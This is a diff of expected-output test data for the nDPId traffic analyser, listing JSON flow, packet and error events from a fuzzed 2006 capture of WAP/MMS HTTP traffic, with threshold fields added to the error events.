00531{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_src_last_pkt_time":1031854484481933,"flow_dst_last_pkt_time":1031854484482142,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"thread_ts_usec":1031854484482142,"pkt":"CAAgsl17AFCLk5N8CABFAAAo8UpAAIAGq0qsFAMFrBQDDQooAFDkFf3\/yWv\/blAQIal6iAAABIGD1GDD"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":5,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":2246,"global_ts_usec":1031854488666650} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1031854488666650,"packet_id":5,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":2246,"global_ts_usec":1031854488666650} 00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":5,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":2246,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1031854484482142,"pkt":"CAAgsl17AFCLk5J8CMZFAAAs9EpAAIAGqEasFAMFrBQDDQopAFDkS6qJAAAAACUCMACAnQAAuAQFtGBh"} 00760{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854488666676,"flow_src_last_pkt_time":1031854488666676,"flow_dst_last_pkt_time":1031854488666676,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1031854488666676,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2601,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00529{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_src_last_pkt_time":1031854488666676,"flow_dst_last_pkt_time":1031854488666676,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"thread_ts_usec":1031854488666676,"pkt":"AFCLk5N8CAAgsl17CABFAAAsxKdAAEAGF+qsFAMNrBQDBQBQCinJpw1U5EuqimASgyxGZAAAAgQFtA=="} @@ -17,7 +17,7 @@ 00522{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_src_last_pkt_time":1031854488668075,"flow_dst_last_pkt_time":1031854488668075,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1031854488668075,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxKhAAEAGF+2sFAMNrBQDBQBRCinJpw1V5EuwPlAQgyxYbQAA"} 00759{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854488668094,"flow_src_last_pkt_time":1031854488668094,"flow_dst_last_pkt_time":1031854488668094,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1031854488668094,"l3_proto":"ip4","src_ip":"0.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2601,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00522{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_src_last_pkt_time":1031854488668094,"flow_dst_last_pkt_time":1031854488668094,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1031854488668094,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxKlAAEAGJXMAFAMNrBQDBQBQCinJpw1V5Eu18lAQgyxSuQAA"} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":15,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":21760,"global_ts_usec":1031854488923980} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1031854488923980,"packet_id":15,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":21760,"global_ts_usec":1031854488923980} 00614{"packet_event_id":1,"packet_event_name":"packet","packet_id":15,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":243,"pkt_type":21760,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":243,"pkt_l4_len":0,"thread_ts_usec":1031854488771624,"pkt":"AFCLk5N8CAAgsl17VQBFAADlxKtAAEAGFy2sFAMNrBQDBQBQCinLpw1V5EvBTVAYgyzwBgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXL+IFJlc2luLzIuMMsxDQpDb2509m50LVR5cGU6IGFwcGxpY2F0aW9uL3ZuZC53YXAubW1zLW1lc3NhZ2UNCkNvbnRlbnQtTGVuZ3RoOiA0NQ0KRGF0ZTogVGh1LCAxMiBTZXAgMjAwMiAxODoxNDo0OCBHTVQNCg0KjIGYMS05YmEwAI2QkoCLMTg5MzAwQGdl\/WTHMi5tb2JpbGl0eWxhYi5uZXQA"} 00762{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854489004849,"flow_src_last_pkt_time":1031854489004849,"flow_dst_last_pkt_time":1031854489004849,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1031854489004849,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":53132,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00534{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_src_last_pkt_time":1031854489004849,"flow_dst_last_pkt_time":1031854489004849,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"thread_ts_usec":1031854489004849,"pkt":"AFCLk5N8CAAgsl17CABFAAAwxKxAAEAGF+GsFAMNrBQDBc+MAFDJtOyOAAAAAHACgywbmAAAAQEEiQIEBbQ="} @@ -32,7 +32,7 @@ 01098{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_src_last_pkt_time":1031854489131959,"flow_dst_last_pkt_time":1031854489131959,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":481,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":481,"pkt_l4_len":447,"thread_ts_usec":1031854489131959,"pkt":"CAAgsl17AFCLk5N8CABFAAHT\/0pAAIAGm5+sBgMFrBQDDQBQz4zkTZr1ybTxE1AYHbTqTgAAPD94bWwgdmVyc2lvbj0iMS4wIj8+CjwhRE9DVFlQRSBwYXAgUFVCTElDICItLy9XQVBGT1JVTS8vRFREIFBBUCAxLjAvL0VOIgogICAgICAgICAgImh0dHA6Ly93d3cud2FwZm9ydW0ub3JnL0RURC9wYXBfMS4wLmR0ZCI+CjxwYXA+CiAgPHB1c2gtcmVzcG9uc2UgcnVzaC1pZD0iMTg5MzAxXzEwMzE4NTQ0ODg5OTdfMTAzOEBnZWNkczIubW9iaWxpdHlsYWIubmV0IiBzZW5kZXKtYWRkcmVzcz0iaHR0cDovL2xtY21vbGYud2FwbWF0aWMuZGUiIHNlbmRlcuRuYW1lPSJ3Z3A0IiByZXBseS2qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00761{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854495447092,"flow_src_last_pkt_time":1031854495447092,"flow_dst_last_pkt_time":1031854495447092,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1031854495447092,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.21.3.13","src_port":2602,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00530{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_src_last_pkt_time":1031854495447092,"flow_dst_last_pkt_time":1031854495447092,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"thread_ts_usec":1031854495447092,"pkt":"CAAgsl17AFCLk5N8CABFAAAsB0tAAIAGlUasFAMFrBUDDQoqAFDkZMdqAADsAGACIABjogAAAgQFtFQI"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":34,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":2177,"global_ts_usec":1031854495447119} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1031854495447119,"packet_id":34,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":2177,"global_ts_usec":1031854495447119} 00366{"packet_event_id":1,"packet_event_name":"packet","packet_id":34,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":58,"pkt_type":2177,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":58,"pkt_l4_len":0,"thread_ts_usec":1031854495447092,"pkt":"AFCLk5N8CAAgsl17CIFFAAAsxLVAAEAGF9ysFAMNTBQDBQBQCirJ0lLg5GTHa2ASgywbsgAAAgQFtA=="} 00741{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":35,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":10,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854495447303,"flow_src_last_pkt_time":1031854495447303,"flow_dst_last_pkt_time":1031854495447303,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":20,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":20,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":20,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1031854495447303,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","l4_proto":170,"flow_datalink":1,"flow_max_packets":3} 00530{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_src_last_pkt_time":1031854495447303,"flow_dst_last_pkt_time":1031854495447303,"flow_idle_time":620000000,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"thread_ts_usec":1031854495447303,"pkt":"CAAgskZ7AFCLk5N8CABFAAAoCKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} @@ -61,7 +61,7 @@ 00531{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":2,"flow_src_last_pkt_time":1031854532142258,"flow_dst_last_pkt_time":1031854532142303,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"thread_ts_usec":1031854532142303,"pkt":"AFCLk5N8CAAgsl17CABFAAAsxMFAAEAGF9CsFAMNrBQDBQBQCizKXurZ5OatpWASgyxkbgAAAgQFtA=="} 00531{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":3,"flow_src_last_pkt_time":1031854532142486,"flow_dst_last_pkt_time":1031854532142303,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"thread_ts_usec":1031854532142486,"pkt":"CAAgsl17AFCLk5N8CABFAAAoH0tAAIAGfUqsFAMFrBQDDQosAFDk5q2lyl7q2lAQIjjdHwAAAgQFtGDD"} 01147{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":63,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":18,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1031854532142258,"flow_src_last_pkt_time":1031854532143032,"flow_dst_last_pkt_time":1031854532142303,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1460,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1460,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1031854532143032,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2604,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12": {"risk":"HTTP Numeric IP Address","severity":"Low","risk_score": {"total":500,"client":450,"server":50}}},"confidence": {"6":"DPI"},"proto":"HTTP","proto_id":"7","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"172.20.3.13","http": {"url":"172.20.3.13\/servlets\/mms?message-id=189001","code":0,"content_type":"","user_agent":"SonyEricssonT68\/R201A"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":64,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":59136,"global_ts_usec":1031854532143059} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1031854532143059,"packet_id":64,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":59136,"global_ts_usec":1031854532143059} 00841{"packet_event_id":1,"packet_event_name":"packet","packet_id":64,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":413,"pkt_type":59136,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":413,"pkt_l4_len":0,"thread_ts_usec":1031854532143032,"pkt":"CAAgsl17AFCLk5N85wA1AAGPIUtAAIAGeeOsFAMFrBQDDQosAFDk5rNZyl7q2lAYIjgNigAAWXVTdz09IiwiMi1gZ0NURVFFMW8ydmVOM0ZCeW8xLzVnPT0iLCIzLXpJdGdzSXlLQnBCem01c2xPb2RISEE9PSINCkNvb2t6ZTogVXNlci1JZGVudGl0eS1Gb3J3YXJkLXBwcC11c2VybmFtZT02QzZENjM2RDZGNkM2Ng0KQ29va2llOiBVc2VyLUlkZW50aXR5LUZvcgRhcmQtbXNpc2RuPTO0MzkzMTM3MzIzNjMxMzAzMTMwMzAzNA0KQ29va2llOiBVc2VyLQlkZW50aXR5LUF1dGhlbnRpY2F0aW9uPUJlYXJlcg0KQ29va2llOiBJcC1BZGRyZXNzPTE5Mi4xNjguMi4yNg0KQ29va2llOiBCZWFyZXItVHlwZT1VRFBdCldBUC1Db25uZWN0aW9uOiBTdGFjay1UeXBlPUNPDQpDb29raWU6IHd0bHMtc2VjdXJpdHktbGV2ZWw9bm9uZVQKDQo="} 00763{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":65,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":19,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854532143761,"flow_src_last_pkt_time":1031854532143761,"flow_dst_last_pkt_time":1031854532143761,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1031854532143761,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.68.5","src_port":80,"dst_port":2604,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00523{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_src_last_pkt_time":1031854532143761,"flow_dst_last_pkt_time":1031854532143761,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1031854532143761,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxMJAAEAGF9OsFAMNrBREBQBQCizKXura5OazWVAlcwB2dwAA"} @@ -77,7 +77,7 @@ 00767{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":75,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":23,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854535090106,"flow_src_last_pkt_time":1031854535090106,"flow_dst_last_pkt_time":1031854535090106,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":143,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":143,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":143,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1031854535090106,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"44.20.3.5","src_port":80,"dst_port":2605,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00718{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_src_last_pkt_time":1031854535090106,"flow_dst_last_pkt_time":1031854535090106,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":197,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":197,"pkt_l4_len":163,"thread_ts_usec":1031854535090106,"pkt":"AFCLk5N8CAAgsl17CABFAAC3xMdAAEAGFz+sFAMNLBQDBQBQCi3KbXHM5PFjO1AYgyyWzgAASFRUUC8xLjEgMjIwIE9LDQpTZXJ2ZXI6IEJlc2luLzIuMC4xDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3Zuay53YXAubW1zLW1lc3NhZ2UNCkNvbnRlbnQtTGVuZ3RoOiAwDQpEYXRlOiBUaHUsIDEyIFNlcCAyMDAyIDE4OjFKOjM1IEdNVA0KDQo="} 00892{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":75,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":23,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854535090106,"flow_src_last_pkt_time":1031854535090106,"flow_dst_last_pkt_time":1031854535090106,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":143,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":143,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":143,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1031854535090106,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"44.20.3.5","src_port":80,"dst_port":2605,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"HTTP","proto_id":"7","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"","http": {}}} -00199{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":76,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1031854535294275} +00299{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1031854535294275,"packet_id":76,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1031854535294275} 00366{"packet_event_id":1,"packet_event_name":"packet","packet_id":76,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1031854535090106,"pkt":"CAAgsl17AFCLk5N8CAAQAAAoKUtAAIAGc0qsFAMFrBQDDQotAFDk8WM7ym1yW1AQIamgfQAAYXRpb24v"} 00522{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":3,"flow_src_last_pkt_time":1031854543322142,"flow_dst_last_pkt_time":1031854495447303,"flow_idle_time":620000000,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1031854543322142,"pkt":"AFCLk5N8CAAgsl17CABFAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":80,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":24,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854543322384,"flow_src_last_pkt_time":1031854543322384,"flow_dst_last_pkt_time":1031854543322384,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1031854543322384,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} @@ -91,7 +91,7 @@ 00531{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":2,"flow_src_last_pkt_time":1031854557802049,"flow_dst_last_pkt_time":1031854557802085,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"thread_ts_usec":1031854557802085,"pkt":"AFCLk5N8CAAgsl17CABFAAAsxMxAAEAGF8WsFAMNrBQDBQBQCi7KxfhE5UFs9mASgyyW7gAAAgQFtA=="} 00531{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":3,"flow_src_last_pkt_time":1031854557802273,"flow_dst_last_pkt_time":1031854557802085,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"thread_ts_usec":1031854557802273,"pkt":"CAAgsl17AFCLk5N8CABFAAAoNktAAIAGZkqsFAMFrBQDDQouAFDlQWz2ysX4RVAQIjgPoAAAAgQFtAAA"} 01125{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":88,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":27,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1031854557802049,"flow_src_last_pkt_time":1031854557802805,"flow_dst_last_pkt_time":1031854557802085,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1460,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1460,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1031854557802805,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2606,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12": {"risk":"HTTP Numeric IP Address","severity":"Low","risk_score": {"total":500,"client":450,"server":50}}},"confidence": {"6":"DPI"},"proto":"HTTP","proto_id":"7","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"172.20.3.13","http": {"url":"172.20.3.13\/servlets\/mms?message-id=189301","code":0,"content_type":"","user_agent":""}}} -00199{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":91,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1031854557899872} +00299{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1031854557899872,"packet_id":91,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1031854557899872} 00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":91,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":54,"pkt_l4_len":0,"thread_ts_usec":1031854557803574,"pkt":"AFCLk5N8kgAgsl2cCAAlcwAoxM5AAEAGF8esFAMNrBQDBQB+Ci7KxfhF5UF0EVAQgyynkAAA"} 00772{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":92,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":28,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854557975651,"flow_src_last_pkt_time":1031854557975651,"flow_dst_last_pkt_time":1031854557975651,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":1460,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1460,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1460,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1031854557975651,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.72.5","src_port":80,"dst_port":2606,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 